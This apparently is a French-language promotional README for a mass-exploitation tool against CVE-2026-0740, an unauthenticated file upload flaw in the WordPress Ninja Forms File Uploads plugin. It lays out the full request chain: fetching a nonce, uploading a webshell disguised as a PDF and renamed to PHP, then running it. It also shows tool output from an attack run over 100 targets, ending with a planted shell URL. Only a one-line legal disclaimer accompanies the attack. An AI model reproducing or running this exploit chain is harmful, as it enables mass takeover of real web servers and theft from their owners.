
Exploiteur de masse automatisé pour CVE-2026-0740, un téléversement de fichier arbitraire non authentifié dans le plugin Ninja Forms File Uploads, permettant l'exécution de code à distance via des téléversements conçus.
Le plugin Ninja Forms - File Uploads pour WordPress est vulnérable à un téléversement de fichier arbitraire non authentifié en raison d'une validation manquante du type de fichier et de contrôles de capacités manquants dans la fonction 'NF_FU_AJAX_Controllers_Uploads::handle_upload' dans toutes les versions jusqu'à la 3.3.26 incluse.
Cette faille permet aux attaquants non authentifiés de :
~ Score CVSS : 9.8 (Critique)
~ Versions affectées : <= 3.3.26
Étape 1 : Obtenir le nonce
────────────────────────────────────
POST /wp-admin/admin-ajax.php
Données : action=nf_fu_get_new_nonce&field_id=7&form_id=7
Réponse : {"success":true,"data":{"nonce":"7a850757a1"}}
│
▼
Étape 2 : Téléverser un fichier déguisé + Renommer en PHP
──────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
Données :
- action=nf_fu_upload
- nonce=7a850757a1
- field_id=7
- form_id=7
- [email protected] (extension autorisée)
- doc_pdf=shadow.php (cible de renommage)
│
▼
Étape 3 : Le serveur stocke le fichier malveillant
─────────────────────────────────────
Emplacement : /wp-content/uploads/ninja-forms/tmp/shadow.php
Contenu : shell PHP (uploader / webshell)
│
▼
Étape 4 : exécuter le fichier téléversé
────────────────────────────────────
GET /wp-content/uploads/ninja-forms/tmp/shadow.php
→ Exécuter la webshell
→ Prise de contrôle totale du serveur
- Conclusions des expériences sur le terrain :
1. Le point de terminaison `nf_fu_get_new_nonce` renvoie un nonce valide sans vérifier l'existence du champ
→ Aucune validation des paramètres `field_id` et `form_id` (TOUT ID aléatoire fonctionne)
2. Faille logique critique dans la fonctionnalité de renommage
→ Le plugin accepte un nom de fichier fourni par l'utilisateur via le paramètre POST
→ Aucune validation de l'extension finale du fichier après le renommage
3. Le fichier téléversé atterrit directement dans un répertoire accessible via le web
→ /wp-content/uploads/ninja-forms/tmp/
4. Le propriétaire de cet outil est très beau
˚⊱🪷⊰˚ NINJA FORMS MASS EXPLOITER ˚⊱🪷⊰˚
╰┈➤ Affichage complet de la réponse
[+] 100 cibles chargées
[1/100]
😈 [FRISKA RESEARCHER] Attaque sur : https://example.com
[*] Obtention du nonce...
[*] Statut HTTP : 400
[*] Réponse : 0
[-] Erreur HTTP : 400
[2/100]
😈 [FRISKA RESEARCHER] Attaque sur : https://www.test.com
[*] Obtention du nonce...
[*] Statut HTTP : 200
[*] Réponse : {"success":true,"data":{"nonce":"b0404ec210","nonce_expiry":1775648146}}
[+] Nonce : b0404ec210
[*] Téléversement du shell...
[*] Réponse du téléversement : {"data":{"files":[{"name":"doc.pdf","full_path":"doc.pdf","type":"application\/pdf","tmp_name":"shadow.php","error":0,"size":246,"new_tmp_key":"doc_pdf"}]},"errors":[],"debug":[]}
============================================================
🔥 UPLOADEUR DE SHELL : https://www.test.com/wp-content/uploads/ninja-forms/tmp/shadow.php
============================================================
L'utilisation non autorisée de systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas la permission de tester est illégale.